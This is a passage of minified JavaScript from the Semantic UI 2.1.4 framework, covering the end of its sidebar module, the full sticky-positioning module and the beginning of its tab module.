scroll lock from page'); $document.off(elementNamespace); $window.off(elementNamespace); $module.off('scroll' + eventNamespace); } }, add: { inlineCSS: function() { var width = module.cache.width || $module.outerWidth(), height = module.cache.height || $module.outerHeight(), isRTL = module.is.rtl(), direction = module.get.direction(), distance = { left : width, right : -width, top : height, bottom : -height }, style ; if(isRTL){ module.verbose('RTL detected, flipping widths'); distance.left = -width; distance.right = width; } style = '<style>'; if(direction === 'left' || direction === 'right') { module.debug('Adding CSS rules for animation distance', width); style += '' + ' .ui.visible.' + direction + '.sidebar ~ .fixed,' + ' .ui.visible.' + direction + '.sidebar ~ .pusher {' + ' -webkit-transform: translate3d('+ distance[direction] + 'px, 0, 0);' + ' transform: translate3d('+ distance[direction] + 'px, 0, 0);' + ' }' ; } else if(direction === 'top' || direction == 'bottom') { style += '' + ' .ui.visible.' + direction + '.sidebar ~ .fixed,' + ' .ui.visible.' + direction + '.sidebar ~ .pusher {' + ' -webkit-transform: translate3d(0, ' + distance[direction] + 'px, 0);' + ' transform: translate3d(0, ' + distance[direction] + 'px, 0);' + ' }' ; } /* IE is only browser not to create context with transforms */ /* https://www.w3.org/Bugs/Public/show_bug.cgi?id=16328 */ if( module.is.ie() ) { if(direction === 'left' || direction === 'right') { module.debug('Adding CSS rules for animation distance', width); style += '' + ' body.pushable > .ui.visible.' + direction + '.sidebar ~ .pusher:after {' + ' -webkit-transform: translate3d('+ distance[direction] + 'px, 0, 0);' + ' transform: translate3d('+ distance[direction] + 'px, 0, 0);' + ' }' ; } else if(direction === 'top' || direction == 'bottom') { style += '' + ' body.pushable > .ui.visible.' + direction + '.sidebar ~ .pusher:after {' + ' -webkit-transform: translate3d(0, ' + distance[direction] + 'px, 0);' + ' transform: translate3d(0, ' + distance[direction] + 'px, 0);' + ' }' ; } /* opposite sides visible forces content overlay */ style += '' + ' body.pushable > .ui.visible.left.sidebar ~ .ui.visible.right.sidebar ~ .pusher:after,' + ' body.pushable > .ui.visible.right.sidebar ~ .ui.visible.left.sidebar ~ .pusher:after {' + ' -webkit-transform: translate3d(0px, 0, 0);' + ' transform: translate3d(0px, 0, 0);' + ' }' ; } style += '</style>'; $style = $(style) .appendTo($head) ; module.debug('Adding sizing css to head', $style); } }, refresh: function() { module.verbose('Refreshing selector cache'); $context = $(settings.context); $sidebars = $context.children(selector.sidebar); $pusher = $context.children(selector.pusher); $fixed = $context.children(selector.fixed); module.clear.cache(); }, refreshSidebars: function() { module.verbose('Refreshing other sidebars'); $sidebars = $context.children(selector.sidebar); }, repaint: function() { module.verbose('Forcing repaint event'); element.style.display = 'none'; var ignored = element.offsetHeight; element.scrollTop = element.scrollTop; element.style.display = ''; }, setup: { cache: function() { module.cache = { width : $module.outerWidth(), height : $module.outerHeight(), rtl : ($module.css('direction') == 'rtl') }; }, layout: function() { if( $context.children(selector.pusher).length === 0 ) { module.debug('Adding wrapper element for sidebar'); module.error(error.pusher); $pusher = $('<div class="pusher" />'); $context .children() .not(selector.omitted) .not($sidebars) .wrapAll($pusher) ; module.refresh(); } if($module.nextAll(selector.pusher).length === 0 || $module.nextAll(selector.pusher)[0] !== $pusher[0]) { module.debug('Moved sidebar to correct parent element');
$module.detach().prependTo($context); module.refresh(); } module.clear.cache(); module.set.pushable(); module.set.direction(); } }, attachEvents: function(selector, event) { var $toggle = $(selector) ; event = $.isFunction(module[event]) ? module[event] : module.toggle ; if($toggle.length > 0) { module.debug('Attaching sidebar events to element', selector, event); $toggle .on('click' + eventNamespace, event) ; } else { module.error(error.notFound, selector); } }, show: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if(module.is.hidden()) { module.refreshSidebars(); if(settings.overlay) { module.error(error.overlay); settings.transition = 'overlay'; } module.refresh(); if(module.othersActive()) { module.debug('Other sidebars currently visible'); if(settings.exclusive) { // if not overlay queue animation after hide if(settings.transition != 'overlay') { module.hideOthers(module.show); return; } else { module.hideOthers(); } } else { settings.transition = 'overlay'; } } module.pushPage(function() { callback.call(element); settings.onShow.call(element); }); settings.onChange.call(element); settings.onVisible.call(element); } else { module.debug('Sidebar is already visible'); } }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if(module.is.visible() || module.is.animating()) { module.debug('Hiding sidebar', callback); module.refreshSidebars(); module.pullPage(function() { callback.call(element); settings.onHidden.call(element); }); settings.onChange.call(element); settings.onHide.call(element); } }, othersAnimating: function() { return ($sidebars.not($module).filter('.' + className.animating).length > 0); }, othersVisible: function() { return ($sidebars.not($module).filter('.' + className.visible).length > 0); }, othersActive: function() { return(module.othersVisible() || module.othersAnimating()); }, hideOthers: function(callback) { var $otherSidebars = $sidebars.not($module).filter('.' + className.visible), sidebarCount = $otherSidebars.length, callbackCount = 0 ; callback = callback || function(){}; $otherSidebars .sidebar('hide', function() { callbackCount++; if(callbackCount == sidebarCount) { callback(); } }) ; }, toggle: function() { module.verbose('Determining toggled direction'); if(module.is.hidden()) { module.show(); } else { module.hide(); } }, pushPage: function(callback) { var transition = module.get.transition(), $transition = (transition === 'overlay' || module.othersActive()) ? $module : $pusher, animate, dim, transitionEnd ; callback = $.isFunction(callback) ? callback : function(){} ; if(settings.transition == 'scale down') { module.scrollToTop(); } module.set.transition(transition); module.repaint(); animate = function() { module.bind.clickaway(); module.add.inlineCSS(); module.set.animating(); module.set.visible(); }; dim = function() { module.set.dimmed(); }; transitionEnd = function(event) { if( event.target == $transition[0] ) { $transition.off(transitionEvent + elementNamespace, transitionEnd); module.remove.animating(); module.bind.scrollLock(); callback.call(element); } }; $transition.off(transitionEvent + elementNamespace); $transition.on(transitionEvent + elementNamespace, transitionEnd); requestAnimationFrame(animate); if(settings.dimPage && !module.othersVisible()) { requestAnimationFrame(dim); } }, pullPage: function(callback) { var transition = module.get.transition(), $transition = (transition == 'overlay' || module.othersActive()) ? $module : $pusher, animate, transitionEnd ; callback = $.isFunction(callback) ? callback : function(){} ; module.verbose('Removing context push state', module.get.direction()); module.unbind.clickaway(); module.unbind.scrollLock(); animate = function() { module.set.transition(transition); module.set.animating(); module.remove.visible(); if(settings.dimPage && !module.othersVisible()) { $pusher.removeClass(className.dimmed); } }; transitionEnd = function(event) { if( event.target == $transition[0] ) { $transition.off(transitionEvent + elementNamespace, transitionEnd); module.remove.animating(); module.remove.transition(); module.remove.inlineCSS(); if(transition == 'scale down' || (settings.returnScroll && module.is.mobile()) ) { module.scrollBack(); } callback.call(element); } }; $transition.off(transitionEvent + elementNamespace); $transition.on(transitionEvent + elementNamespace, transitionEnd); requestAnimationFrame(animate); }, scrollToTop: function() { module.verbose('Scrolling to top of page to avoid animation issues'); currentScroll = $(window).scrollTop(); $module.scrollTop(0); window.scrollTo(0, 0); }, scrollBack: function() { module.verbose('Scrolling back to original page position'); window.scrollTo(0, currentScroll); }, clear: { cache: function() { module.verbose('Clearing cached dimensions'); module.cache = {}; } }, set: { // ios only (scroll on html not document). This prevent auto-resize canvas/scroll in ios ios: function() { $html.addClass(className.ios); }, // container pushed: function() { $context.addClass(className.pushed); }, pushable: function() { $context.addClass(className.pushable); }, // pusher dimmed: function() { $pusher.addClass(className.dimmed); }, // sidebar active: function() { $module.addClass(className.active); }, animating: function() { $module.addClass(className.animating); }, transition: function(transition) { transition = transition || module.get.transition(); $module.addClass(transition); }, direction: function(direction) { direction = direction || module.get.direction(); $module.addClass(className[direction]); }, visible: function() { $module.addClass(className.visible); }, overlay: function() { $module.addClass(className.overlay); } }, remove: { inlineCSS: function() { module.debug('Removing inline css styles', $style); if($style && $style.length > 0) { $style.remove(); } }, // ios scroll on html not document ios: function() { $html.removeClass(className.ios); }, // context pushed: function() { $context.removeClass(className.pushed); }, pushable: function() { $context.removeClass(className.pushable); }, // sidebar active: function() { $module.removeClass(className.active); }, animating: function() { $module.removeClass(className.animating); }, transition: function(transition) { transition = transition || module.get.transition(); $module.removeClass(transition); }, direction: function(direction) { direction = direction || module.get.direction(); $module.removeClass(className[direction]); }, visible: function() { $module.removeClass(className.visible); }, overlay: function() { $module.removeClass(className.overlay); } }, get: { direction: function() { if($module.hasClass(className.top)) { return className.top; } else if($module.hasClass(className.right)) { return className.right; } else if($module.hasClass(className.bottom)) { return className.bottom; } return className.left; }, transition: function() { var direction = module.get.direction(), transition ; transition = ( module.is.mobile() ) ? (settings.mobileTransition == 'auto') ? settings.defaultTransition.mobile[direction] : settings.mobileTransition : (settings.transition == 'auto') ? settings.defaultTransition.computer[direction] : settings.transition ; module.verbose('Determined transition', transition); return transition; }, transitionEvent: function() { var element = document.createElement('element'), transitions = { 'transition' :'transitionend', 'OTransition' :'oTransitionEnd', 'MozTransition' :'transitionend', 'WebkitTransition' :'webkitTransitionEnd' }, transition ; for(transition in transitions){ if( element.style[transition] !== undefined ){ return transitions[transition]; } } } }, is: { ie: function() { var isIE11 = (!(window.ActiveXObject) && 'ActiveXObject' in window), isIE = ('ActiveXObject' in window) ; return (isIE11 || isIE); }, ios: function() { var userAgent = navigator.userAgent, isIOS = userAgent.match(regExp.ios), isMobileChrome = userAgent.match(regExp.mobileChrome) ; if(isIOS && !isMobileChrome) { module.verbose('Browser was found to be iOS', userAgent); return true; } else { return false; } }, mobile: function() { var userAgent = navigator.userAgent, isMobile = userAgent.match(regExp.mobile) ; if(isMobile) { module.verbose('Browser was found to be mobile', userAgent); return true; } else { module.verbose('Browser is not mobile, using regular transition', userAgent); return false; } }, hidden: function() { return !module.is.visible(); }, visible: function() { return $module.hasClass(className.visible); }, // alias open: function() { return module.is.visible(); }, closed: function() { return module.is.hidden(); }, vertical: function() { return $module.hasClass(className.top); }, animating: function() { return $context.hasClass(className.animating); }, rtl: function () { if(module.cache.rtl === undefined) { module.cache.rtl = ($module.css('direction') == 'rtl'); } return module.cache.rtl; } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } } ; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { module.invoke('destroy'); } module.initialize(); } }); return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.sidebar.settings = { name : 'Sidebar', namespace : 'sidebar', debug : false, verbose : false, performance : true, transition : 'auto', mobileTransition : 'auto', defaultTransition : { computer: { left : 'uncover', right : 'uncover', top : 'overlay', bottom : 'overlay' }, mobile: { left : 'uncover', right : 'uncover', top : 'overlay', bottom : 'overlay' } }, context : 'body', exclusive : false, closable : true, dimPage : true, scrollLock : false, returnScroll : false, delaySetup : false, duration : 500, onChange : function(){}, onShow : function(){}, onHide : function(){}, onHidden : function(){}, onVisible : function(){}, className : { active : 'active', animating : 'animating', dimmed : 'dimmed', ios : 'ios', pushable : 'pushable', pushed : 'pushed', right : 'right', top : 'top', left : 'left', bottom : 'bottom', visible : 'visible' }, selector: { fixed : '.fixed', omitted : 'script, link, style, .ui.modal, .ui.dimmer, .ui.nag, .ui.fixed', pusher : '.pusher', sidebar : '.ui.sidebar' }, regExp: { ios : /(iPad|iPhone|iPod)/g, mobileChrome : /(CriOS)/g, mobile : /Mobile|iP(hone|od|ad)|Android|BlackBerry|IEMobile|Kindle|NetFront|Silk-Accelerated|(hpw|web)OS|Fennec|Minimo|Opera M(obi|ini)|Blazer|Dolfin|Dolphin|Skyfire|Zune/g }, error : { method : 'The method you called is not defined.', pusher : 'Had to add pusher element. For optimal performance make sure body content is inside a pusher element', movedSidebar : 'Had to move sidebar. For optimal performance make sure sidebar and pusher are direct children of your body tag', overlay : 'The overlay setting is no longer supported, use animation: overlay', notFound : 'There were no elements that matched the specified selector' } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Sticky * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.sticky = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.sticky.settings, parameters) : $.extend({}, $.fn.sticky.settings), className = settings.className, namespace = settings.namespace, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $window = $(window), $scroll = $(settings.scrollContext), $container, $context, selector = $module.selector || '', instance = $module.data(moduleNamespace), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, element = this, observer, module ; module = { initialize: function() { module.determineContainer(); module.determineContext(); module.verbose('Initializing sticky', settings, $container); module.save.positions(); module.checkErrors(); module.bind.events(); if(settings.observeChanges) { module.observeChanges(); } module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous instance'); module.reset(); if(observer) { observer.disconnect(); } $window .off('load' + eventNamespace, module.event.load) .off('resize' + eventNamespace, module.event.resize) ; $scroll .off('scrollchange' + eventNamespace, module.event.scrollchange) ; $module.removeData(moduleNamespace); }, observeChanges: function() { var context = $context[0] ; if('MutationObserver' in window) { observer = new MutationObserver(function(mutations) { clearTimeout(module.timer); module.timer = setTimeout(function() { module.verbose('DOM tree modified, updating sticky menu', mutations); module.refresh(); }, 100); }); observer.observe(element, { childList : true, subtree : true }); observer.observe(context, { childList : true, subtree : true }); module.debug('Setting up mutation observer', observer); } }, determineContainer: function() { $container = $module.offsetParent(); }, determineContext: function() { if(settings.context) { $context = $(settings.context); } else { $context = $container; } if($context.length === 0) { module.error(error.invalidContext, settings.context, $module); return; } }, checkErrors: function() { if( module.is.hidden() ) { module.error(error.visible, $module); } if(module.cache.element.height > module.cache.context.height) { module.reset(); module.error(error.elementSize, $module); return; } }, bind: { events: function() { $window .on('load' + eventNamespace, module.event.load) .on('resize' + eventNamespace, module.event.resize) ; // pub/sub pattern $scroll .off('scroll' + eventNamespace) .on('scroll' + eventNamespace, module.event.scroll) .on('scrollchange' + eventNamespace, module.event.scrollchange) ; } }, event: { load: function() { module.verbose('Page contents finished loading'); requestAnimationFrame(module.refresh); }, resize: function() { module.verbose('Window resized'); requestAnimationFrame(module.refresh); }, scroll: function() { requestAnimationFrame(function() { $scroll.triggerHandler('scrollchange' + eventNamespace, $scroll.scrollTop() ); }); }, scrollchange: function(event, scrollPosition) { module.stick(scrollPosition); settings.onScroll.call(element); } }, refresh: function(hardRefresh) { module.reset(); if(!settings.context) { module.determineContext(); } if(hardRefresh) { module.determineContainer(); } module.save.positions(); module.stick(); settings.onReposition.call(element); }, supports: { sticky: function() { var $element = $('<div/>'), element = $element[0] ; $element.addClass(className.supported); return($element.css('position').match('sticky')); } }, save: { lastScroll: function(scroll) { module.lastScroll = scroll; }, elementScroll: function(scroll) { module.elementScroll = scroll; }, positions: function() { var window = { height: $window.height() }, element = { margin: { top : parseInt($module.css('margin-top'), 10), bottom : parseInt($module.css('margin-bottom'), 10), }, offset : $module.offset(), width : $module.outerWidth(), height : $module.outerHeight() }, context = { offset : $context.offset(), height : $context.outerHeight() }, container = { height: $container.outerHeight() } ; module.cache = { fits : ( element.height < window.height ), window: { height: window.height }, element: { margin : element.margin, top : element.offset.top - element.margin.top, left : element.offset.left, width : element.width, height : element.height, bottom : element.offset.top + element.height }, context: { top : context.offset.top, height : context.height, bottom : context.offset.top + context.height } }; module.set.containerSize(); module.set.size(); module.stick(); module.debug('Caching element positions', module.cache); } }, get: { direction: function(scroll) { var direction = 'down' ; scroll = scroll || $scroll.scrollTop(); if(module.lastScroll !== undefined) { if(module.lastScroll < scroll) { direction = 'down'; } else if(module.lastScroll > scroll) { direction = 'up'; } } return direction; }, scrollChange: function(scroll) { scroll = scroll || $scroll.scrollTop(); return (module.lastScroll) ? (scroll - module.lastScroll) : 0 ; }, currentElementScroll: function() { if(module.elementScroll) { return module.elementScroll; } return ( module.is.top() ) ? Math.abs(parseInt($module.css('top'), 10)) || 0 : Math.abs(parseInt($module.css('bottom'), 10)) || 0 ; }, elementScroll: function(scroll) { scroll = scroll || $scroll.scrollTop(); var element = module.cache.element, window = module.cache.window, delta = module.get.scrollChange(scroll), maxScroll = (element.height - window.height + settings.offset), elementScroll = module.get.currentElementScroll(), possibleScroll = (elementScroll + delta) ; if(module.cache.fits || possibleScroll < 0) { elementScroll = 0; } else if(possibleScroll > maxScroll ) { elementScroll = maxScroll; } else { elementScroll = possibleScroll; } return elementScroll; } }, remove: { lastScroll: function() { delete module.lastScroll; }, elementScroll: function(scroll) { delete module.elementScroll; }, offset: function() { $module.css('margin-top', ''); } }, set: { offset: function() { module.verbose('Setting offset on element', settings.offset); $module .css('margin-top', settings.offset) ; }, containerSize: function() { var tagName = $container.get(0).tagName ; if(tagName === 'HTML' || tagName == 'body') { // this can trigger for too many reasons //module.error(error.container, tagName, $module); module.determineContainer(); } else { if( Math.abs($container.outerHeight() - module.cache.context.height) > settings.jitter) { module.debug('Context has padding, specifying exact height for container', module.cache.context.height); $container.css({ height: module.cache.context.height }); } } }, minimumSize: function() { var element = module.cache.element ; $container .css('min-height', element.height) ; }, scroll: function(scroll) { module.debug('Setting scroll on element', scroll); if(module.elementScroll == scroll) { return; } if( module.is.top() ) { $module .css('bottom', '') .css('top', -scroll) ; } if( module.is.bottom() ) { $module .css('top', '') .css('bottom', scroll) ; } }, size: function() { if(module.cache.element.height !== 0 && module.cache.element.width !== 0) { element.style.setProperty('width', module.cache.element.width + 'px', 'important'); element.style.setProperty('height', module.cache.element.height + 'px', 'important'); } } }, is: { top: function() { return $module.hasClass(className.top); }, bottom: function() { return $module.hasClass(className.bottom); }, initialPosition: function() { return (!module.is.fixed() && !module.is.bound()); }, hidden: function() { return (!$module.is(':visible')); }, bound: function() { return $module.hasClass(className.bound); }, fixed: function() { return $module.hasClass(className.fixed); } }, stick: function(scroll) { var cachedPosition = scroll || $scroll.scrollTop(), cache = module.cache, fits = cache.fits, element = cache.element, window = cache.window, context = cache.context, offset = (module.is.bottom() && settings.pushing) ? settings.bottomOffset : settings.offset, scroll = { top : cachedPosition + offset, bottom : cachedPosition + offset + window.height }, direction = module.get.direction(scroll.top), elementScroll = (fits) ? 0 : module.get.elementScroll(scroll.top), // shorthand doesntFit = !fits, elementVisible = (element.height !== 0) ; if(elementVisible) { if( module.is.initialPosition() ) { if(scroll.top >= context.bottom) { module.debug('Initial element position is bottom of container'); module.bindBottom(); } else if(scroll.top > element.top) { if( (element.height + scroll.top - elementScroll) >= context.bottom ) { module.debug('Initial element position is bottom of container'); module.bindBottom(); } else { module.debug('Initial element position is fixed'); module.fixTop(); } } } else if( module.is.fixed() ) { // currently fixed top if( module.is.top() ) { if( scroll.top <= element.top ) { module.debug('Fixed element reached top of container'); module.setInitialPosition(); } else if( (element.height + scroll.top - elementScroll) >= context.bottom ) { module.debug('Fixed element reached bottom of container'); module.bindBottom(); } // scroll element if larger than screen else if(doesntFit) { module.set.scroll(elementScroll); module.save.lastScroll(scroll.top); module.save.elementScroll(elementScroll); } } // currently fixed bottom else if(module.is.bottom() ) { // top edge if( (scroll.bottom - element.height) <= element.top) { module.debug('Bottom fixed rail has reached top of container'); module.setInitialPosition(); } // bottom edge else if(scroll.bottom >= context.bottom) { module.debug('Bottom fixed rail has reached bottom of container'); module.bindBottom(); } // scroll element if larger than screen else if(doesntFit) { module.set.scroll(elementScroll); module.save.lastScroll(scroll.top); module.save.elementScroll(elementScroll); } } } else if( module.is.bottom() ) { if(settings.pushing) { if(module.is.bound() && scroll.bottom <= context.bottom ) { module.debug('Fixing bottom attached element to bottom of browser.'); module.fixBottom(); } } else { if(module.is.bound() && (scroll.top <= context.bottom - element.height) ) { module.debug('Fixing bottom attached element to top of browser.'); module.fixTop(); } } } } }, bindTop: function() { module.debug('Binding element to top of parent container'); module.remove.offset(); $module .css({ left : '', top : '', marginBottom : '' }) .removeClass(className.fixed) .removeClass(className.bottom) .addClass(className.bound) .addClass(className.top) ; settings.onTop.call(element); settings.onUnstick.call(element); }, bindBottom: function() { module.debug('Binding element to bottom of parent container'); module.remove.offset(); $module .css({ left : '', top : '' }) .removeClass(className.fixed) .removeClass(className.top) .addClass(className.bound) .addClass(className.bottom) ; settings.onBottom.call(element); settings.onUnstick.call(element); }, setInitialPosition: function() { module.debug('Returning to initial position'); module.unfix(); module.unbind(); }, fixTop: function() { module.debug('Fixing element to top of page'); module.set.minimumSize(); module.set.offset(); $module .css({ left : module.cache.element.left, bottom : '', marginBottom : '' }) .removeClass(className.bound) .removeClass(className.bottom) .addClass(className.fixed) .addClass(className.top) ; settings.onStick.call(element); }, fixBottom: function() { module.debug('Sticking element to bottom of page'); module.set.minimumSize(); module.set.offset(); $module .css({ left : module.cache.element.left, bottom : '', marginBottom : '' }) .removeClass(className.bound) .removeClass(className.top) .addClass(className.fixed) .addClass(className.bottom) ; settings.onStick.call(element); }, unbind: function() { if( module.is.bound() ) { module.debug('Removing container bound position on element'); module.remove.offset(); $module .removeClass(className.bound) .removeClass(className.top) .removeClass(className.bottom) ; } }, unfix: function() { if( module.is.fixed() ) { module.debug('Removing fixed position on element'); module.remove.offset(); $module .removeClass(className.fixed) .removeClass(className.top) .removeClass(className.bottom) ; settings.onUnstick.call(element); } }, reset: function() { module.debug('Reseting elements position'); module.unbind(); module.unfix(); module.resetCSS(); module.remove.offset(); module.remove.lastScroll(); }, resetCSS: function() { $module .css({ width : '', height : '' }) ; $container .css({ height: '' }) ; }, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 0); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.sticky.settings = { name : 'Sticky', namespace : 'sticky', debug : false, verbose : true, performance : true, // whether to stick in the opposite direction on scroll up pushing : false, context : false, // Context to watch scroll events scrollContext : window, // Offset to adjust scroll offset : 0, // Offset to adjust scroll when attached to bottom of screen bottomOffset : 0, jitter : 5, // will only set container height if difference between context and container is larger than this number // Whether to automatically observe changes with Mutation Observers observeChanges : false, // Called when position is recalculated onReposition : function(){}, // Called on each scroll onScroll : function(){}, // Called when element is stuck to viewport onStick : function(){}, // Called when element is unstuck from viewport onUnstick : function(){}, // Called when element reaches top of context onTop : function(){}, // Called when element reaches bottom of context onBottom : function(){}, error : { container : 'Sticky element must be inside a relative container', visible : 'Element is hidden, you must call refresh after element becomes visible', method : 'The method you called is not defined.', invalidContext : 'Context specified does not exist', elementSize : 'Sticky element is larger than its container, cannot create sticky.' }, className : { bound : 'bound', fixed : 'fixed', supported : 'native', top : 'top', bottom : 'bottom' } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Tab * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ($, window, document, undefined) { "use strict"; $.fn.tab = function(parameters) { var // use window context if none specified $allModules = $.isFunction(this) ? $(window) : $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), initializedHistory = false, returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.tab.settings, parameters) : $.extend({}, $.fn.tab.settings), className = settings.className, metadata = settings.metadata, selector = settings.selector, error = settings.error, eventNamespace = '.' + settings.namespace, moduleNamespace = 'module-' + settings.namespace, $module = $(this), $context, $tabs, cache = {}, firstLoad = true, recursionDepth = 0, element = this, instance = $module.data(moduleNamespace), activeTabPath, parameterArray, module, historyEvent ; module = { initialize: function() { module.debug('Initializing tab menu item', $module); module.fix.callbacks(); module.determineTabs(); module.debug('Determining tabs', settings.context, $tabs); // set up automatic routing if(settings.auto) { module.set.auto(); } module.bind.events(); if(settings.history && !initializedHistory) { module.initializeHistory(); initializedHistory = true; } module.instantiate(); }, instantiate: function () { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.debug('Destroying tabs', $module); $module .removeData(moduleNamespace) .off(eventNamespace) ; }, bind: { events: function() { // if using $.tab don't add events if( !$.isWindow( element ) ) { module.debug('Attaching tab activation events to element', $module); $module .on('click' + eventNamespace, module.event.click) ; } } }, determineTabs: function() { var $reference ; // determine tab context if(settings.context === 'parent') { if($module.closest(selector.ui).length > 0) { $reference = $module.closest(selector.ui); module.verbose('Using closest UI element as parent', $reference); } else { $reference = $module; } $context = $reference.parent(); module.verbose('Determined parent element for creating context', $context); } else if(settings.context) { $context = $(settings.context); module.verbose('Using selector for tab context', settings.context, $context); } else { 